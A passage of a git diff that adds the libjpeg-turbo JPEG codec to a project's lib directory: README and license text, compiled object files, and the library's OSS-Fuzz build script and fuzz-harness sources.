no-warranty notice +unaltered; and any additions, deletions, or changes to the original files +must be clearly indicated in accompanying documentation. +(2) If only executable code is distributed, then the accompanying +documentation must state that "this software is based in part on the work of +the Independent JPEG Group". +(3) Permission for use of this software is granted only if the user accepts +full responsibility for any undesirable consequences; the authors accept +NO LIABILITY for damages of any kind. + +These conditions apply to any software derived from or based on the IJG code, +not just to the unmodified library. If you use our work, you ought to +acknowledge us. + +Permission is NOT granted for the use of any IJG author's name or company name +in advertising or publicity relating to this software or products derived from +it. This software may be referred to only as "the Independent JPEG Group's +software". + +We specifically permit and encourage the use of this software as the basis of +commercial products, provided that all warranty or liability claims are +assumed by the product vendor. + + +REFERENCES +========== + +We recommend reading one or more of these references before trying to +understand the innards of the JPEG software. + +The best short technical introduction to the JPEG compression algorithm is + Wallace, Gregory K. "The JPEG Still Picture Compression Standard", + Communications of the ACM, April 1991 (vol. 34 no. 4), pp. 30-44. +(Adjacent articles in that issue discuss MPEG motion picture compression, +applications of JPEG, and related topics.) If you don't have the CACM issue +handy, a PDF file containing a revised version of Wallace's article is +available at http://www.ijg.org/files/Wallace.JPEG.pdf. The file (actually +a preprint for an article that appeared in IEEE Trans. Consumer Electronics) +omits the sample images that appeared in CACM, but it includes corrections +and some added material. Note: the Wallace article is copyright ACM and IEEE, +and it may not be used for commercial purposes. + +A somewhat less technical, more leisurely introduction to JPEG can be found in +"The Data Compression Book" by Mark Nelson and Jean-loup Gailly, published by +M&T Books (New York), 2nd ed. 1996, ISBN 1-55851-434-1. This book provides +good explanations and example C code for a multitude of compression methods +including JPEG. It is an excellent source if you are comfortable reading C +code but don't know much about data compression in general. The book's JPEG +sample code is far from industrial-strength, but when you are ready to look +at a full implementation, you've got one here... + +The best currently available description of JPEG is the textbook "JPEG Still +Image Data Compression Standard" by William B. Pennebaker and Joan L. +Mitchell, published by Van Nostrand Reinhold, 1993, ISBN 0-442-01272-1. +Price US$59.95, 638 pp. The book includes the complete text of the ISO JPEG +standards (DIS 10918-1 and draft DIS 10918-2). + +The original JPEG standard is divided into two parts, Part 1 being the actual +specification, while Part 2 covers compliance testing methods. Part 1 is +titled "Digital Compression and Coding of Continuous-tone Still Images, +Part 1: Requirements and guidelines" and has document numbers ISO/IEC IS +10918-1, ITU-T T.81. Part 2 is titled "Digital Compression and Coding of +Continuous-tone Still Images, Part 2: Compliance testing" and has document +numbers ISO/IEC IS 10918-2, ITU-T T.83. + +The JPEG standard does not specify all details of an interchangeable file +format. For the omitted details, we follow the "JFIF" conventions, revision +1.02. JFIF version 1 has been adopted as ISO/IEC 10918-5 (05/2013) and +Recommendation ITU-T T.871 (05/2011): Information technology - Digital +compression and coding of continuous-tone still images: JPEG File Interchange +Format (JFIF). It is available as a free download in PDF file format from +https://www.iso.org/standard/54989.html and http://www.itu.int/rec/T-REC-T.871. +A PDF file of the older JFIF 1.02 specification is available at +http://www.w3.org/Graphics/JPEG/jfif3.pdf. + +The TIFF 6.0 file format specification can be obtained from +http://mirrors.ctan.org/graphics/tiff/TIFF6.ps.gz. The JPEG incorporation +scheme found in the TIFF 6.0 spec of 3-June-92 has a number of serious +problems. IJG does not recommend use of the TIFF 6.0 design (TIFF Compression +tag 6). Instead, we recommend the JPEG design proposed by TIFF Technical Note +#2 (Compression tag 7). Copies of this Note can be obtained from +http://www.ijg.org/files/. It is expected that the next revision +of the TIFF spec will replace the 6.0 JPEG design with the Note's design. +Although IJG's own code does not support TIFF/JPEG, the free libtiff library +uses our library to implement TIFF/JPEG per the Note. + + +ARCHIVE LOCATIONS +================= + +The "official" archive site for this software is www.ijg.org. +The most recent released version can always be found there in +directory "files". + +The JPEG FAQ (Frequently Asked Questions) article is a source of some +general information about JPEG. It is available at +http://www.faqs.org/faqs/jpeg-faq. + + +FILE FORMAT COMPATIBILITY +========================= + +This software implements ITU T.81 | ISO/IEC 10918 with some extensions from +ITU T.871 | ISO/IEC 10918-5 (JPEG File Interchange Format-- see REFERENCES). +Informally, the term "JPEG image" or "JPEG file" most often refers to JFIF or +a subset thereof, but there are other formats containing the name "JPEG" that +are incompatible with the original JPEG standard or with JFIF (for instance, +JPEG 2000 and JPEG XR). This software therefore does not support these +formats. Indeed, one of the original reasons for developing this free software +was to help force convergence on a common, interoperable format standard for +JPEG files. + +JFIF is a minimal or "low end" representation. TIFF/JPEG (TIFF revision 6.0 as +modified by TIFF Technical Note #2) can be used for "high end" applications +that need to record a lot of additional data about an image. + + +TO DO +===== + +Please send bug reports, offers of help, etc. to jpeg-info@jpegclub.org. diff --git a/lib/libjpeg-turbo/README.md b/lib/libjpeg-turbo/README.md new file mode 100755 index 0000000..cb98382 --- /dev/null +++ b/lib/libjpeg-turbo/README.md @@ -0,0 +1,375 @@ +Background +========== + +libjpeg-turbo is a JPEG image codec that uses SIMD instructions to accelerate +baseline JPEG compression and decompression on x86, x86-64, Arm, PowerPC, and +MIPS systems, as well as progressive JPEG compression on x86, x86-64, and Arm +systems. On such systems, libjpeg-turbo is generally 2-6x as fast as libjpeg, +all else being equal. On other types of systems, libjpeg-turbo can still +outperform libjpeg by a significant amount, by virtue of its highly-optimized +Huffman coding routines. In many cases, the performance of libjpeg-turbo +rivals that of proprietary high-speed JPEG codecs. + +libjpeg-turbo implements both the traditional libjpeg API as well as the less +powerful but more straightforward TurboJPEG API. libjpeg-turbo also features +colorspace extensions that allow it to compress from/decompress to 32-bit and +big-endian pixel buffers (RGBX, XBGR, etc.), as well as a full-featured Java +interface. + +libjpeg-turbo was originally based on libjpeg/SIMD, an MMX-accelerated +derivative of libjpeg v6b developed by Miyasaka Masaru. The TigerVNC and +VirtualGL projects made numerous enhancements to the codec in 2009, and in +early 2010, libjpeg-turbo spun off into an independent project, with the goal +of making high-speed JPEG compression/decompression technology available to a +broader range of users and developers. libjpeg-turbo is an ISO/IEC and ITU-T +reference implementation of the JPEG standard. + +More information about libjpeg-turbo can be found at +. + + +Funding +======= + +libjpeg-turbo is an independent open source project, but we rely on patronage +and funded development in order to maintain that independence. The easiest way +to ensure that libjpeg-turbo remains community-focused and free of any one +organization's agenda is to +[sponsor our project through GitHub](https://github.com/sponsors/libjpeg-turbo). +All sponsorship money goes directly toward funding the labor necessary to +maintain libjpeg-turbo, support the user community, and implement bug fixes and +strategically important features. + +[![Sponsor libjpeg-turbo](https://img.shields.io/github/sponsors/libjpeg-turbo?label=Sponsor&logo=GitHub)](https://github.com/sponsors/libjpeg-turbo) + + +License +======= + +libjpeg-turbo is covered by three compatible BSD-style open source licenses. +Refer to [LICENSE.md](LICENSE.md) for a roll-up of license terms. + + +Building libjpeg-turbo +====================== + +Refer to [BUILDING.md](BUILDING.md) for complete instructions. + + +Using libjpeg-turbo +=================== + +libjpeg-turbo includes two APIs that can be used to compress and decompress +JPEG images: + +- **TurboJPEG API**
+ This API provides an easy-to-use interface for compressing and decompressing + JPEG images in memory. It also provides some functionality that would not be + straightforward to achieve using the underlying libjpeg API, such as + generating planar YUV images and performing multiple simultaneous lossless + transforms on an image. The Java interface for libjpeg-turbo is written on + top of the TurboJPEG API. The TurboJPEG API is recommended for first-time + users of libjpeg-turbo. Refer to [tjcomp.c](src/tjcomp.c), + [tjdecomp.c](src/tjdecomp.c), [tjtran.c](src/tjtran.c), + [TJComp.java](java/TJComp.java), [TJDecomp.java](java/TJDecomp.java), and + [TJTran.java](java/TJTran.java) for examples of its usage and to + for API + documentation. + +- **libjpeg API**
+ This is the de facto industry-standard API for compressing and decompressing + JPEG images. It is more difficult to use than the TurboJPEG API but also + more powerful. The libjpeg API implementation in libjpeg-turbo is both + API/ABI-compatible and mathematically compatible with libjpeg v6b. It can + also optionally be configured to be API/ABI-compatible with libjpeg v7 and v8 + (see below.) Refer to [cjpeg.c](src/cjpeg.c) and [djpeg.c](src/djpeg.c) for + examples of its usage and to [libjpeg.txt](doc/libjpeg.txt) for API + documentation. + +There is no significant performance advantage to either API when both are used +to perform similar operations. + +Colorspace Extensions +--------------------- + +libjpeg-turbo includes extensions that allow JPEG images to be compressed +directly from (and decompressed directly to) buffers that use BGR, BGRX, +RGBX, XBGR, and XRGB pixel ordering. This is implemented with ten new +colorspace constants: + + JCS_EXT_RGB /* red/green/blue */ + JCS_EXT_RGBX /* red/green/blue/x */ + JCS_EXT_BGR /* blue/green/red */ + JCS_EXT_BGRX /* blue/green/red/x */ + JCS_EXT_XBGR /* x/blue/green/red */ + JCS_EXT_XRGB /* x/red/green/blue */ + JCS_EXT_RGBA /* red/green/blue/alpha */ + JCS_EXT_BGRA /* blue/green/red/alpha */ + JCS_EXT_ABGR /* alpha/blue/green/red */ + JCS_EXT_ARGB /* alpha/red/green/blue */ + +Setting `cinfo.in_color_space` (compression) or `cinfo.out_color_space` +(decompression) to one of these values will cause libjpeg-turbo to read the +red, green, and blue values from (or write them to) the appropriate position in +the pixel when compressing from/decompressing to an RGB buffer. + +Your application can check for the existence of these extensions at compile +time with: + + #ifdef JCS_EXTENSIONS + +At run time, attempting to use these extensions with a libjpeg implementation +that does not support them will result in a "Bogus input colorspace" error. +Applications can trap this error in order to test whether run-time support is +available for the colorspace extensions. + +When using the RGBX, BGRX, XBGR, and XRGB colorspaces during decompression, the +X byte is undefined, and in order to ensure the best performance, libjpeg-turbo +can set that byte to whatever value it wishes. If an application expects the X +byte to be used as an alpha channel, then it should specify `JCS_EXT_RGBA`, +`JCS_EXT_BGRA`, `JCS_EXT_ABGR`, or `JCS_EXT_ARGB`. When these colorspace +constants are used, the X byte is guaranteed to be 0xFF, which is interpreted +as opaque. + +Your application can check for the existence of the alpha channel colorspace +extensions at compile time with: + + #ifdef JCS_ALPHA_EXTENSIONS + +[jcstest.c](src/jcstest.c), located in the libjpeg-turbo source tree, +demonstrates how to check for the existence of the colorspace extensions at +compile time and run time. + +libjpeg v7 and v8 API/ABI Emulation +----------------------------------- + +With libjpeg v7 and v8, new features were added that necessitated extending the +compression and decompression structures. Unfortunately, due to the exposed +nature of those structures, extending them also necessitated breaking backward +ABI compatibility with previous libjpeg releases. Thus, programs that were +built to use libjpeg v7 or v8 did not work with libjpeg-turbo, since it is +based on the libjpeg v6b code base. Although libjpeg v7 and v8 are not +as widely used as v6b, enough programs (including a few Linux distros) made +the switch that there was a demand to emulate the libjpeg v7 and v8 ABIs +in libjpeg-turbo. It should be noted, however, that this feature was added +primarily so that applications that had already been compiled to use libjpeg +v7+ could take advantage of accelerated baseline JPEG encoding/decoding +without recompiling. libjpeg-turbo does not claim to support all of the +libjpeg v7+ features, nor to produce identical output to libjpeg v7+ in all +cases (see below.) + +By passing an argument of `-DWITH_JPEG7=1` or `-DWITH_JPEG8=1` to `cmake`, you +can build a version of libjpeg-turbo that emulates the libjpeg v7 or v8 ABI, so +that programs that are built against libjpeg v7 or v8 can be run with +libjpeg-turbo. The following section describes which libjpeg v7+ features are +supported and which aren't. + +### Support for libjpeg v7 and v8 Features + +#### Fully supported + +- **libjpeg API: IDCT scaling extensions in decompressor**
+ libjpeg-turbo supports IDCT scaling with scaling factors of 1/8, 1/4, 3/8, + 1/2, 5/8, 3/4, 7/8, 9/8, 5/4, 11/8, 3/2, 13/8, 7/4, 15/8, and 2/1 (only 1/4 + and 1/2 are SIMD-accelerated.) + +- **libjpeg API: Arithmetic coding** + +- **libjpeg API: In-memory source and destination managers**
+ See notes below. + +- **cjpeg: Separate quality settings for luminance and chrominance**
+ Note that the libpjeg v7+ API was extended to accommodate this feature only + for convenience purposes. It has always been possible to implement this + feature with libjpeg v6b (see rdswitch.c for an example.) + +- **cjpeg: 32-bit BMP support** + +- **cjpeg: `-rgb` option** + +- **jpegtran: Lossless cropping** + +- **jpegtran: `-perfect` option** + +- **jpegtran: Forcing width/height when performing lossless crop** + +- **rdjpgcom: `-raw` option** + +- **rdjpgcom: Locale awareness** + + +#### Not supported + +NOTE: As of this writing, extensive research has been conducted into the +usefulness of DCT scaling as a means of data reduction and SmartScale as a +means of quality improvement. Readers are invited to peruse the research at + and draw their own conclusions, +but it is the general belief of our project that these features have not +demonstrated sufficient usefulness to justify inclusion in libjpeg-turbo. + +- **libjpeg API: DCT scaling in compressor**
+ `cinfo.scale_num` and `cinfo.scale_denom` are silently ignored. + There is no technical reason why DCT scaling could not be supported when + emulating the libjpeg v7+ API/ABI, but without the SmartScale extension (see + below), only scaling factors of 1/2, 8/15, 4/7, 8/13, 2/3, 8/11, 4/5, and + 8/9 would be available, which is of limited usefulness. + +- **libjpeg API: SmartScale**
+ `cinfo.block_size` is silently ignored. + SmartScale is an extension to the JPEG format that allows for DCT block + sizes other than 8x8. Providing support for this new format would be + feasible (particularly without full acceleration.) However, until/unless + the format becomes either an official industry standard or, at minimum, an + accepted solution in the community, we are hesitant to implement it, as + there is no sense of whether or how it might change in the future. It is + our belief that SmartScale has not demonstrated sufficient usefulness as a + lossless format nor as a means of quality enhancement, and thus our primary + interest in providing this feature would be as a means of supporting + additional DCT scaling factors. + +- **libjpeg API: Fancy downsampling in compressor**
+ `cinfo.do_fancy_downsampling` is silently ignored. + This requires the DCT scaling feature, which is not supported. + +- **jpegtran: Scaling**
+ This requires both the DCT scaling and SmartScale features, which are not + supported. + +- **Lossless RGB JPEG files**
+ This requires the SmartScale feature, which is not supported. + +### What About libjpeg v9? + +libjpeg v9 introduced yet another field to the JPEG compression structure +(`color_transform`), thus making the ABI backward incompatible with that of +libjpeg v8. This new field was introduced solely for the purpose of supporting +lossless SmartScale encoding. Furthermore, there was actually no reason to +extend the API in this manner, as the color transform could have just as easily +been activated by way of a new JPEG colorspace constant, thus preserving +backward ABI compatibility. + +Our research (see link above) has shown that lossless SmartScale does not +generally accomplish anything that can't already be accomplished better with +existing, standard lossless formats. Therefore, at this time it is our belief +that there is not sufficient technical justification for software projects to +upgrade from libjpeg v8 to libjpeg v9, and thus there is not sufficient +technical justification for us to emulate the libjpeg v9 ABI. + +In-Memory Source/Destination Managers +------------------------------------- + +By default, libjpeg-turbo 1.3 and later includes the `jpeg_mem_src()` and +`jpeg_mem_dest()` functions, even when not emulating the libjpeg v8 API/ABI. +Previously, it was necessary to build libjpeg-turbo from source with libjpeg v8 +API/ABI emulation in order to use the in-memory source/destination managers, +but several projects requested that those functions be included when emulating +the libjpeg v6b API/ABI as well. This allows the use of those functions by +programs that need them, without breaking ABI compatibility for programs that +don't, and it allows those functions to be provided in the "official" +libjpeg-turbo binaries. + +Note that, on most Un*x systems, the dynamic linker will not look for a +function in a library until that function is actually used. Thus, if a program +is built against libjpeg-turbo 1.3+ and uses `jpeg_mem_src()` or +`jpeg_mem_dest()`, that program will not fail if run against an older version +of libjpeg-turbo or against libjpeg v7- until the program actually tries to +call `jpeg_mem_src()` or `jpeg_mem_dest()`. Such is not the case on Windows. +If a program is built against the libjpeg-turbo 1.3+ DLL and uses +`jpeg_mem_src()` or `jpeg_mem_dest()`, then it must use the libjpeg-turbo 1.3+ +DLL at run time. + +Both cjpeg and djpeg have been extended to allow testing the in-memory +source/destination manager functions. See their respective man pages for more +details. + + +Mathematical Compatibility +========================== + +For the most part, libjpeg-turbo should produce identical output to libjpeg +v6b. There are two exceptions: + +1. When decompressing a JPEG image that uses 4:4:0 chrominance subsampling, the +outputs of libjpeg v6b and libjpeg-turbo can differ because libjpeg-turbo +implements a "fancy" (smooth) 4:4:0 upsampling algorithm and libjpeg did not. + +2. When using the floating point DCT/IDCT, the outputs of libjpeg v6b and +libjpeg-turbo can differ for the following reasons: + + - The SSE/SSE2 floating point DCT implementation in libjpeg-turbo is ever + so slightly more accurate than the implementation in libjpeg v6b, but not + by any amount perceptible to human vision (generally in the range of 0.01 + to 0.08 dB gain in PNSR.) + + - When not using the SIMD extensions, libjpeg-turbo uses the more accurate + (and slightly faster) floating point IDCT algorithm introduced in libjpeg + v8a as opposed to the algorithm used in libjpeg v6b. It should be noted, + however, that this algorithm basically brings the accuracy of the + floating point IDCT in line with the accuracy of the accurate integer + IDCT. The floating point DCT/IDCT algorithms are mainly a legacy + feature, and they do not produce significantly more accuracy than the + accurate integer algorithms. (To put numbers on this, the typical + difference in PNSR between the two algorithms is less than 0.10 dB, + whereas changing the quality level by 1 in the upper range of the quality + scale is typically more like a 1.0 dB difference.) + + - If the floating point algorithms in libjpeg-turbo are not implemented + using SIMD instructions on a particular platform, then the accuracy of + the floating point DCT/IDCT can depend on the compiler settings. + +While libjpeg-turbo does emulate the libjpeg v8 API/ABI, under the hood it is +still using the same algorithms as libjpeg v6b, so there are several specific +cases in which libjpeg-turbo cannot be expected to produce the same output as +libjpeg v8: + +- When decompressing using scaling factors of 1/2 and 1/4, because libjpeg v8 + implements those scaling algorithms differently than libjpeg v6b does, and + libjpeg-turbo's SIMD extensions are based on the libjpeg v6b behavior. + +- When using chrominance subsampling, because libjpeg v8 implements this + with its DCT/IDCT scaling algorithms rather than with a separate + downsampling/upsampling algorithm. In our testing, the subsampled/upsampled + output of libjpeg v8 is less accurate than that of libjpeg v6b for this + reason. + +- When decompressing using a scaling factor > 1 and merged (AKA "non-fancy" or + "non-smooth") chrominance upsampling, because libjpeg v8 does not support + merged upsampling with scaling factors > 1. + + +Performance Pitfalls +==================== + +Restart Markers +--------------- + +The optimized Huffman decoder in libjpeg-turbo does not handle restart markers +in a way that makes the rest of the libjpeg infrastructure happy, so it is +necessary to use the slow Huffman decoder when decompressing a JPEG image that +has restart markers. This can cause the decompression performance to drop by +as much as 20%, but the performance will still be much greater than that of +libjpeg. Many consumer packages, such as Photoshop, use restart markers when +generating JPEG images, so images generated by those programs will experience +this issue. + +Fast Integer Forward DCT at High Quality Levels +----------------------------------------------- + +The algorithm used by the SIMD-accelerated quantization function cannot produce +correct results whenever the fast integer forward DCT is used along with a JPEG +quality of 98-100. Thus, libjpeg-turbo must use the non-SIMD quantization +function in those cases. This causes performance to drop by as much as 40%. +It is therefore strongly advised that you use the accurate integer forward DCT +whenever encoding images with a JPEG quality of 98 or higher. + + +Memory Debugger Pitfalls +======================== + +Valgrind and Memory Sanitizer (MSan) can generate false positives +(specifically, incorrect reports of uninitialized memory accesses) when used +with libjpeg-turbo's SIMD extensions. It is generally recommended that the +SIMD extensions be disabled, either by passing an argument of `-DWITH_SIMD=0` +to `cmake` when configuring the build or by setting the environment variable +`JSIMD_FORCENONE` to `1` at run time, when testing libjpeg-turbo with Valgrind, +MSan, or other memory debuggers. diff --git a/lib/libjpeg-turbo/build_cross/cdjpeg.o b/lib/libjpeg-turbo/build_cross/cdjpeg.o new file mode 100755 index 0000000..070bea0 Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/cdjpeg.o differ diff --git a/lib/libjpeg-turbo/build_cross/cjpeg.o b/lib/libjpeg-turbo/build_cross/cjpeg.o new file mode 100755 index 0000000..3697bc5 Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/cjpeg.o differ diff --git a/lib/libjpeg-turbo/build_cross/djpeg.o b/lib/libjpeg-turbo/build_cross/djpeg.o new file mode 100755 index 0000000..8477301 Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/djpeg.o differ diff --git a/lib/libjpeg-turbo/build_cross/example.o b/lib/libjpeg-turbo/build_cross/example.o new file mode 100755 index 0000000..5c44ab0 Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/example.o differ diff --git a/lib/libjpeg-turbo/build_cross/jaricom.o b/lib/libjpeg-turbo/build_cross/jaricom.o new file mode 100755 index 0000000..6d2df6e Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/jaricom.o differ diff --git a/lib/libjpeg-turbo/build_cross/jcapimin.o b/lib/libjpeg-turbo/build_cross/jcapimin.o new file mode 100755 index 0000000..2a13adb Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/jcapimin.o differ diff --git a/lib/libjpeg-turbo/build_cross/jcapistd.o b/lib/libjpeg-turbo/build_cross/jcapistd.o new file mode 100755 index 0000000..5fc4f0c Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/jcapistd.o differ diff --git a/lib/libjpeg-turbo/build_cross/jcarith.o b/lib/libjpeg-turbo/build_cross/jcarith.o new file mode 100755 index 0000000..f91b0e9 Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/jcarith.o differ diff --git a/lib/libjpeg-turbo/build_cross/jccoefct.o b/lib/libjpeg-turbo/build_cross/jccoefct.o new file mode 100755 index 0000000..0db1043 Binary files /dev/null and b/lib/libjpeg-turbo/build_cross/jccoefct.o differ diff --git a/lib/libjpeg-turbo/fuzz/CMakeLists.txt b/lib/libjpeg-turbo/fuzz/CMakeLists.txt new file mode 100755 index 0000000..e07fc82 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/CMakeLists.txt @@ -0,0 +1,71 @@ +if(NOT ENABLE_STATIC) + message(FATAL_ERROR "Fuzz targets require static libraries.") +endif() +if(NOT WITH_TURBOJPEG) + message(FATAL_ERROR "Fuzz targets require the TurboJPEG API library.") +endif() + +set(FUZZ_BINDIR "" CACHE PATH + "Directory into which fuzz targets should be installed") +if(NOT FUZZ_BINDIR) + message(FATAL_ERROR "FUZZ_BINDIR must be specified.") +endif() +message(STATUS "FUZZ_BINDIR = ${FUZZ_BINDIR}") + +set(FUZZ_LIBRARY "" CACHE STRING + "Path to fuzzer library or flags necessary to link with it") +if(NOT FUZZ_LIBRARY) + message(FATAL_ERROR "FUZZ_LIBRARY must be specified.") +endif() +message(STATUS "FUZZ_LIBRARY = ${FUZZ_LIBRARY}") + +enable_language(CXX) + +set(EFFECTIVE_CXX_FLAGS + "${CMAKE_CXX_FLAGS} ${CMAKE_CXX_FLAGS_${CMAKE_BUILD_TYPE_UC}}") +message(STATUS "C++ Compiler flags = ${EFFECTIVE_CXX_FLAGS}") + +add_executable(cjpeg_fuzzer${FUZZER_SUFFIX} cjpeg.cc ../src/cdjpeg.c + ../src/rdbmp.c ../src/rdgif.c ../src/wrapper/rdppm-8.c + ../src/wrapper/rdppm-12.c ../src/wrapper/rdppm-16.c ../src/rdswitch.c + ../src/rdtarga.c) +set_property(TARGET cjpeg_fuzzer${FUZZER_SUFFIX} PROPERTY COMPILE_FLAGS + ${CDJPEG_COMPILE_FLAGS}) +target_link_libraries(cjpeg_fuzzer${FUZZER_SUFFIX} ${FUZZ_LIBRARY} jpeg-static) +install(TARGETS cjpeg_fuzzer${FUZZER_SUFFIX} + RUNTIME DESTINATION ${FUZZ_BINDIR} COMPONENT bin) + +macro(add_fuzz_target target source_file) + add_executable(${target}_fuzzer${FUZZER_SUFFIX} ${source_file}) + target_link_libraries(${target}_fuzzer${FUZZER_SUFFIX} ${FUZZ_LIBRARY} + turbojpeg-static) + install(TARGETS ${target}_fuzzer${FUZZER_SUFFIX} + RUNTIME DESTINATION ${FUZZ_BINDIR} COMPONENT bin) +endmacro() + +add_fuzz_target(compress compress.cc) + +add_fuzz_target(compress_yuv compress_yuv.cc) + +add_fuzz_target(compress_lossless compress_lossless.cc) + +add_fuzz_target(compress12 compress12.cc) + +add_fuzz_target(compress12_lossless compress12_lossless.cc) + +add_fuzz_target(compress16_lossless compress16_lossless.cc) + +# NOTE: This target is named libjpeg_turbo_fuzzer instead of decompress_fuzzer +# in order to preserve the corpora from Google's OSS-Fuzz target for +# libjpeg-turbo, which this target replaces. +add_fuzz_target(libjpeg_turbo decompress.cc) + +add_executable(decompress_libjpeg_fuzzer${FUZZER_SUFFIX} decompress_libjpeg.cc) +target_link_libraries(decompress_libjpeg_fuzzer${FUZZER_SUFFIX} ${FUZZ_LIBRARY} + jpeg-static) +install(TARGETS decompress_libjpeg_fuzzer${FUZZER_SUFFIX} + RUNTIME DESTINATION ${FUZZ_BINDIR} COMPONENT bin) + +add_fuzz_target(decompress_yuv decompress_yuv.cc) + +add_fuzz_target(transform transform.cc) diff --git a/lib/libjpeg-turbo/fuzz/build.sh b/lib/libjpeg-turbo/fuzz/build.sh new file mode 100755 index 0000000..df0cdba --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/build.sh @@ -0,0 +1,44 @@ +#!/bin/bash + +set -u +set -e + +FUZZER_SUFFIX= +if [ $# -ge 1 ]; then + FUZZER_SUFFIX="$1" + FUZZER_SUFFIX="`echo $1 | sed 's/\./_/g'`" +fi + +if [ "$SANITIZER" = "memory" ]; then + export CFLAGS="$CFLAGS -DZERO_BUFFERS=1" +fi + +cmake . -DCMAKE_BUILD_TYPE=RelWithDebInfo -DENABLE_STATIC=1 -DENABLE_SHARED=0 \ + -DCMAKE_C_FLAGS_RELWITHDEBINFO="-g -DNDEBUG" \ + -DCMAKE_CXX_FLAGS_RELWITHDEBINFO="-g -DNDEBUG" -DCMAKE_INSTALL_PREFIX=$WORK \ + -DWITH_FUZZ=1 -DFUZZ_BINDIR=$OUT -DFUZZ_LIBRARY=$LIB_FUZZING_ENGINE \ + -DFUZZER_SUFFIX="$FUZZER_SUFFIX" +make "-j$(nproc)" "--load-average=$(nproc)" +make install + +for fuzzer in cjpeg \ + compress \ + compress_yuv \ + compress_lossless \ + compress12 \ + compress12_lossless \ + compress16_lossless; do + cp $SRC/compress_fuzzer_seed_corpus.zip $OUT/${fuzzer}_fuzzer${FUZZER_SUFFIX}_seed_corpus.zip +done + +FUZZ_DIR=$(dirname "$0") + +for fuzzer in libjpeg_turbo \ + decompress_libjpeg \ + decompress_yuv \ + transform; do + cp $SRC/decompress_fuzzer_seed_corpus.zip $OUT/${fuzzer}_fuzzer${FUZZER_SUFFIX}_seed_corpus.zip + if [ -f "$FUZZ_DIR/jpeg.dict" ]; then + cp "$FUZZ_DIR/jpeg.dict" $OUT/${fuzzer}_fuzzer${FUZZER_SUFFIX}.dict + fi +done diff --git a/lib/libjpeg-turbo/fuzz/cjpeg.cc b/lib/libjpeg-turbo/fuzz/cjpeg.cc new file mode 100755 index 0000000..1adfae9 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/cjpeg.cc @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2021, 2024, 2026 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/* This fuzz target wraps cjpeg in order to test esoteric compression options + as well as the GIF and Targa readers. */ + +#define CJPEG_FUZZER +extern "C" { +#include "../src/cjpeg.c" +} + +#include +#include + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + char *argv1[] = { + (char *)"cjpeg", (char *)"-dct", (char *)"float", (char *)"-memdst", + (char *)"-quality", (char *)"100,99,98", + (char *)"-sample", (char *)"4x1,2x2,1x2", (char *)"-targa" + }; + char *argv2[] = { + (char *)"cjpeg", (char *)"-dct", (char *)"float", (char *)"-memdst", + (char *)"-quality", (char *)"90,80,70", (char *)"-smooth", (char *)"50", + (char *)"-targa" + }; + FILE *file = NULL; + + if ((file = fmemopen((void *)data, size, "r")) == NULL) + goto bailout; + + fseek(file, 0, SEEK_SET); + cjpeg_fuzzer(9, argv1, file); + fseek(file, 0, SEEK_SET); + cjpeg_fuzzer(9, argv2, file); + + argv1[8] = argv2[8] = NULL; + + fseek(file, 0, SEEK_SET); + cjpeg_fuzzer(8, argv1, file); + fseek(file, 0, SEEK_SET); + cjpeg_fuzzer(8, argv2, file); + +bailout: + if (file) fclose(file); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/compress.cc b/lib/libjpeg-turbo/fuzz/compress.cc new file mode 100755 index 0000000..180dcfa --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/compress.cc @@ -0,0 +1,162 @@ +/* + * Copyright (C) 2021, 2023-2026 D. R. Commander. All Rights Reserved. + * Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR 